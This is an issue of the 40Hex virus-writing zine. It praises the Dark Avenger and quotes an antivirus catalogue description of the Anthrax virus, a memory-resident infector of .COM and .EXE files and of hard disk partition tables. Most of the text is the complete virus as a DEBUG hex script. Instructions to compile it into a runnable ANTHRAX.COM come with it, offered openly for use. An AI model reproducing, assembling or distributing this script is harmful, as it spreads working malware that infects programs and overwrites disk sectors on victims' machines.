home *** CD-ROM | disk | FTP | other *** search
- 40Hex Issue 3 0003
-
- Anthrax
-
- Well, this is turning out to be a tribute issue to the Dark
- Avenger. Here is another one of his better known viruses. This is
- a nice one cause it not only is a file infector, but it is also a
- sort of boot sector virus. It is also what I dubbed a reincarnation
- virus, meaning that even if you clean your system of it, it may
- still live, because it leaves a copy of itself on the last sector of
- the disk. The virus can be reincarnated by the V2100 virus, also bu
- The Dark Avenger.
-
- Well, Patti Hoffman (one of my favorite people on earth, not) wrote
- this virus up.
-
- Aliases:
- V Status: Rare [Not for long]
- Discovery: July, 1990
- Symptoms: .COM & .EXE growth
- Origin: Bulgaria
- Isolated: Netherlands
- Eff Length: 1040 - 1279 Bytes
- Type Code: PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector
- Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
- Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
- General Comments:
- The Anthrax Virus was isolated in July 1990 in the Netherlands after
- it was uploaded onto several BBSes in a trojan anti-viral program,
- USCAN.ZIP. It is the second virus to be found in a copy of UScan
- during July 1990, the first virus being V2100. Anthrax is a memory
- resident generic infector of .COM and .EXE files, including
- COMMAND.COM.
-
- The first time a program infected with the Anthrax virus is executed
- on the system's hard disk, the virus will infect the hard disk's
- partition table. At this point, the virus is not memory resident. It
- will also write a copy of itself on the last few sectors of the
- system's hard disk. If data existed on those last few sectors of the
- hard disk, it will be destroyed.
-
- When the system is booted from the hard disk, the Anthrax virus
- will install itself memory resident. It will remain memory resident
- until the first program is executed. At that time, it will deinstall
- itself from being resident and infect one .COM or .EXE file. This
- virus does not infect files in the current directory first, but
- instead starts to infect files at the lowest level of the disk's
- directory tree.
-
- Later, when an infected program is executed, Anthrax will infect one
- .COM or .EXE file, searching the directory structure from the lowest
- level of the directory tree. If the executed infected program
- was located on the floppy drive, a .COM or .EXE file may or may not
- be infected.
-
- The Anthrax Virus's code is 1,024 bytes long, but infected programs
- will increase in length by 1,040 to 1,279 bytes. On the author's test
- system, the largest increase in length experienced was 1,232 bytes.
- Infected files will always have an infected file length that is a
- multiple of 16.
-
- The following text strings can be found in files infected with the
- Anthrax virus:
-
- "(c)Damage, Inc."
- "ANTHRAX"
-
- A third text string occurs in the viral code, but it is in Cyrillics.
- Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
-
- Since Anthrax infects the hard disk partition tables, infected systems
- must have the partition table disinfected or rebuilt in order to
- remove the virus. This disinfection can be done with either a low-
- level format or use of the MDisk/P program for the correct DOS
- version after powering off and rebooting from a write-protected boot
- diskette for the system. Any .COM or .EXE files infected with
- Anthrax must also be disinfected or erased. Since a copy of the virus
- will exist on the last few sectors of the drive, these must also be
- located and overwritten.
-
- Anthrax interacts with another virus: V2100. If a system which was
- previously infected with Anthrax should become infected with the V2100
- virus, the V2100 virus will check the last few sectors of the hard
- disk for the spare copy of Anthrax. If the spare copy is found, then
- Anthrax will be copied to the hard disk's partition table.
-
- It is not known if Anthrax carries any destructive capabilities or
- trigger/activation dates.
-
-
-
-
- Here is the actual virus. Well if this is your fist copy of
- 40Hex, let me explain how to compile it.
-
- First copy what is below with your editor. Then save it to a file
- called ANTHRAX.SCR. Then type at the command line -
-
- DEBUG <ANTHRAX.SCR
-
- This will create a file called ANTHRAX.COM, that's the actual virus.
-
- -------------------------------------------------------------------------------
-
- n anthrax.com
- e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
- e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
- e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
- e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
- e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
- e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
- e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
- e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
- e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
- e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
- e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
- e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
- e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
- e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
- e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
- e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
- e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
- e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
- e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
- e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
- e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
- e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
- e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
- e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
- e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
- e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
- e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
- e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
- e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
- e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
- e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
- e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
- e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
- e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
- e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
- e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
- e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
- e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
- e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
- e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
- e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
- e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
- e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
- e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
- e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
- e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
- e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
- e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
- e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
- e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
- e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
- e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
- e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
- e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
- e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
- e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
- e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
- e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
- e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
- e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
- e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
- e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
- e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
- e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
- e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
- e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
-
- rcx
- 480
- w
- q
-
- -------------------------------------------------------------------------------
- HR
-
-